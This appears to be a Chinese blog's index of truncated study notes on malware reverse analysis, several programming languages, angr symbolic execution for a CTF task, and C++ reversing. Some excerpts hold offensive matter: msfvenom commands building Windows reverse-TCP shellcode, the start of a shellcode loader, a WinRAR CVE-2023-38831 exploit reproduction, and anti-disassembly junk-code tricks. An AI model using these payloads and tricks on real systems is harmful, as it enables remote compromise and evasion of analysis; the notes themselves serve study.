恶意代码逆向分析基础详解读书笔记
恶意代码逆向分析基础详解读书笔记生成执行shellcodeMsfVenom12msfvenom -p windows/peterpreter/reverse_tcp LHOST=192.168.10.129 LPORT=4444 -f c #C语言版msfvenom -p windows/peterpreter/reverse_tcp LHOST=192.168.10.129 LPORT=4444 -f python #Python版
执行PE节中shellcodescdbg1scdbg.exe /f *.* #分析二进制文件*.*调用的WindowsAPI函数
.text节区12345678910111213141516171819202122#include <windows.h>#include <stdio.h>#include <stdlib.h>#include <string.h>int main(void){ void* alloc_mem; BOOL retval; HANDLE Thre ...
Go语言基础
Go语言基础入门代码结构1234567package mainimport "fmt"func main(){ fmt.Print("..."); fmt.Println("..."); return;}
语句123var i int;i=300;fmt.Print(i);
代码块12345if a>0{ //...}else{ /*...*/}
运算符基础运算符1234567891011package main;import( "fmt")func main(){ var m,n int; fmt.Scan(&m,&n); r1:=m+n;//不需var声明直接使用 fmt.Printf("%d+%d=%d\n",m,n,r1); return;};
指数运算123456result:=math.Pow(5,3) ...
C++查缺补漏
C++查缺补漏面向对象省略号参数12345678910111213141516#include <cstdarg>void OutputInfo(int num,...){ va_list arguments; va_start(arguments,num); while(num--){ char* pchData=va_arg(arguments,char*); int iData=va_arg(arguments,int); printf("%s\n",pchData); printf("%d\n",iData); }; va_end(arguments);};int main(void){ OutputInfo(2,"beijing",2008,"olympic games",2008); return 0;};
函数指针12345 ...
Android入门
Android入门快速上手1234567891011121314151617181920212223242526272829303132package com.zypc.javaandroiddemo;import androidx.appcompat.app.AppCompatActivity;import android.os.Bundle;import android.view.Gravity;import android.view.View;import android.view.View.OnClickListener;import android.widget.Button;import android.widget.EditText;import android.widget.Toast;public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { supe ...
CVE-2023-38831漏洞
CVE-2023-38831漏洞下载文件https://github.com/b1tg/CVE-2023-38831-winrar-exploit
复现用WinRAR打开.rar文档,双击CLASSIFIED_DOCUMENTS.pdf文件,弹出计算器。
分析一级目录包括一个.pdf文件和一个目录,名称都为CLASSIFIED_DOCUMENTS.pdf。
目录中是命名为CLASSIFIED_DOCUMENTS.pdf.cmd的文件,内容为:
12calc.exe &CLASSIFIED_DOCUMENTS.pdf
利用用作者给出的Python脚本创建。
花指令的实现方法
花指令的实现方法简单jmpOD能骗过去,IDA正常识别。
12345__asm{ jmp label1 db junkcode label1:}
多层跳转1234567891011__asm{ jmp label1 db junkcode label1: jmp label2 db junkcode label2: jmp label3 db junkcode label3:}
jnx和jx条件跳转123456__asm{ jz label1 jnz label1 db junkcode label:}
永真条件跳转123456789101112131415161718__asm{ push ebx xor ebx,ebx test ebx,ebx jnz label1 jz label2 label1: ...
C#笔记
C#笔记入门1234567891011121314using System;using System.Collections.Generic;using System.Linq;using System.Text;namespace Test{ class Program{ static void Main(string[] args){ string s=string.Empty; Console.Title="Title"; //控制台标题 Console.WriteLine("Hello World!"); s=Console.ReadLine(); } }}
Char类常用方法IsDigit IsLetter IsLetterOrDigit IsLower IsNumber IsPunctuation IsSeparator IsUpper IsWhi ...
Delphi开发指南
Delphi开发指南常用系统函数与过程数值运算函数
数学运算函数
参数类型
函数值类型
功能描述
Abs(x)
Integer或Real
Integer或Real
Arctan(x)、Cos(x)、Sin(x)、Pi、Sqrt(x)、Power(x,y)、Ln(x)、Log10(x)、Exp(x)、Frac(x)、Int(x)
Real
Real
Round(x)、Trunc(x)
Real
Int64
Odd(x)
Integer
Boolean
Random[(x)]
Integer
不定
有参数返回$[0,x)$,无参数返回$[0,1)$。
字符处理函数
函数/过程
功能描述
UpperCase(s)
LowerCase(s)
CompareStr(s1,s2)
区分大小写,s1>s2返回值>0,否则<0,相等=0。
CompareText(s1,s2)
不区分大小写,同上。
Concat(s1,s2,…)
Pos(s1,s)
s1在s中起始位置,不包含返回0。
L ...
Angr符号执行笔记
Angr符号执行笔记Angr安装1pip install angr
引子:[网鼎杯 2020 青龙组]singal考点:虚拟机、符号执行
这题本身是个虚拟机题,给出了程序序列,要求找到合适的输入。本题采用符号执行最简便。
123456789101112import angr,syspath="D:\\CTF-Workbench\\signal.exe"project=angr.Project(path,auto_load_libs=False)initial_state=project.factory.entry_state()simulation=project.factory.simulation_manager(initial_state)simulation.explore(find=0x0040179E,avoid=0x004016E6)if simulation.found: for i in simulation.found: solution_state=i print(solution_state.posix.d ...
C++逆向入门
C++逆向入门Lumina私服IDA 8.3 Lumen私服设置很麻烦,但有人开发了Luminafix解决了这个问题。
下载:https://github.com/naim94a/lumen/
将插件中俩DLL塞插件目录下即可,在Options->General->Lumina设置服务器为lumen.abda.nl,端口为1235,代理服务器账密均为guest即可。
std::string内存布局12345678struct basic_string{ char *begin_; //数据地址 size_t size_; //字符串长度v union{ size_t capacity_; char sso_buffer[16]; };};
dump脚本123456789101112def dbg_read_cppst_64(objectAddr): strPtr=idc.read_dbg_qword(objectAddr) result='' ...